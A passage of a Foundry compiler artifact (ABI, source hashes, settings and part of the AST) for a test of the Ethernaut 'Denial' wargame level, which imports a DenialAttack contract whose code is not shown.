event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Denial.t.sol":"TestDenial"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/DenialAttack.sol":{"keccak256":"0x13aeda8a95e2ca794fd8c3d8f0f575f01828fc05d43204e5bdf3615b4125072a","urls":["bzz-raw://b2d8ecf2d298313822fa8bc875b6970444b2ebdc6c265c20dc736f8df10c959a","dweb:/ipfs/QmdRcAYebAD8XSYcd3uq1dCTZYF2pM4JVXF73iz2c1y4kV"],"license":"MIT"},"src/levels/Denial.sol":{"keccak256":"0x53e7e264718d21a89f046473e5bb5c1330ab11c7a52f16d58dba10206b4d49c0","urls":["bzz-raw://79df26e13c2bdfcd90047dde5296762dbeff36177354ffee2ef6506db1bf27fd","dweb:/ipfs/Qmb3dqmtRnxUjccbSa7EUuRg5MH9vdN9Hu8HTYRWhthtyM"],"license":"MIT"},"src/levels/DenialFactory.sol":{"keccak256":"0x5936a1053638582713a7aa983e372a4450dba9e6f406fe32915c6f71a0e93bb7","urls":["bzz-raw://421f4c9b25ffba1d5b4b248f3e9bc311ab4ad60f39be76e11b1f26399bbd70c1","dweb:/ipfs/QmctsRGST8ECUh8aXeQb9hig3xdEd67mX4jktCKyCALErn"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Denial.t.sol":{"keccak256":"0xea446aae29f79b0033e3c62a892e325d491837581fd5433cc2718faf1d74d857","urls":["bzz-raw://908edd0b4b1ffc8725ceb9095a4275508efb1fdb8c533b34d6416b12c57d7fb8","dweb:/ipfs/QmVNj1UWxyPvzDYiXXy2LAuHFPFYRLnUDNLNYHdh7Hscga"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Denial.t.sol","id":59706,"exportedSymbols":{"Denial":[50459],"DenialAttack":[49174],"DenialFactory":[50570],"Ethernaut":[49101],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestDenial":[59705],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:1976:124","nodes":[{"id":59516,"nodeType":"PragmaDirective","src":"32:23:124","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":59517,"nodeType":"ImportDirective","src":"57:28:124","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":59706,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":59519,"nodeType":"ImportDirective","src":"86:43:124","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":59706,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":59518,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:124","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59521,"nodeType":"ImportDirective","src":"131:45:124","nodes":[],"absolutePath":"src/levels/Denial.sol","file":"src/levels/Denial.sol","nameLocation":"-1:-1:-1","scope":59706,"sourceUnit":50460,"symbolAliases":[{"foreign":{"id":59520,"name":"Denial","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50459,"src":"139:6:124","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59523,"nodeType":"ImportDirective","src":"177:59:124","nodes":[],"absolutePath":"src/levels/DenialFactory.sol","file":"src/levels/DenialFactory.sol","nameLocation":"-1:-1:-1","scope":59706,"sourceUnit":50571,"symbolAliases":[{"foreign":{"id":59522,"name":"DenialFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50570,"src":"185:13:124","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59525,"nodeType":"ImportDirective","src":"237:58:124","nodes":[],"absolutePath":"src/attacks/DenialAttack.sol","file":"src/attacks/DenialAttack.sol","nameLocation":"-1:-1:-1","scope":59706,"sourceUnit":49175,"symbolAliases":[{"foreign":{"id":59524,"name":"DenialAttack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49174,"src":"245:12:124","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59527,"nodeType":"ImportDirective","src":"296:48:124","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":59706,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":59526,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"304:5:124","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59529,"nodeType":"ImportDirective","src":"345:44:124","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":59706,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":59528,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"353:9:124","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59705,"nodeType":"ContractDefinition","src":"391:1616:124","nodes":[{"id":59536,"nodeType":"VariableDeclaration","src":"432:19:124","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"442:9:124","scope":59705,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":59535,"nodeType":"UserDefinedTypeName","pathNode":{"id":59534,"name":"Ethernaut","nameLocations":["432:9:124"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"432:9:124"},"referencedDeclaration":49101,"src":"432:9:124","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":59539,"nodeType":"VariableDeclaration","src":"457:15:124","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"464:8:124","scope":59705,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"},"typeName":{"id":59538,"nodeType":"UserDefinedTypeName","pathNode":{"id":59537,"name":"Denial","nameLocations":["457:6:124"],"nodeType":"IdentifierPath","referencedDeclaration":50459,"src":"457:6:124"},"referencedDeclaration":50459,"src":"457:6:124","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}},"visibility":"internal"},{"id":59541,"nodeType":"VariableDeclaration","src":"479:21:124","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"495:5:124","scope":59705,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":59540,"name":"address","nodeType":"ElementaryTypeName","src":"479:15:124","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":59543,"nodeType":"VariableDeclaration","src":"506:22:124","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"522:6:124","scope":59705,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":59542,"name":"address","nodeType":"ElementaryTypeName","src":"506:15:124","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":59645,"nodeType":"FunctionDefinition","src":"715:596:124","nodes":[],"body":{"id":59644,"nodeType":"Block","src":"739:572:124","nodes":[],"statements":[{"assignments":[59548],"declarations":[{"constant":false,"id":59548,"mutability":"mutable","name":"users","nameLocation":"774:5:124","nodeType":"VariableDeclaration","scope":59644,"src":"749:30:124","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":59546,"name":"address","nodeType":"ElementaryTypeName","src":"749:15:124","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":59547,"nodeType":"ArrayTypeName","src":"749:17:124","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":59552,"initialValue":{"arguments":[{"hexValue":"32","id":59550,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"794:1:124","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":59549,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"782:11:124","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":59551,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"782:14:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] 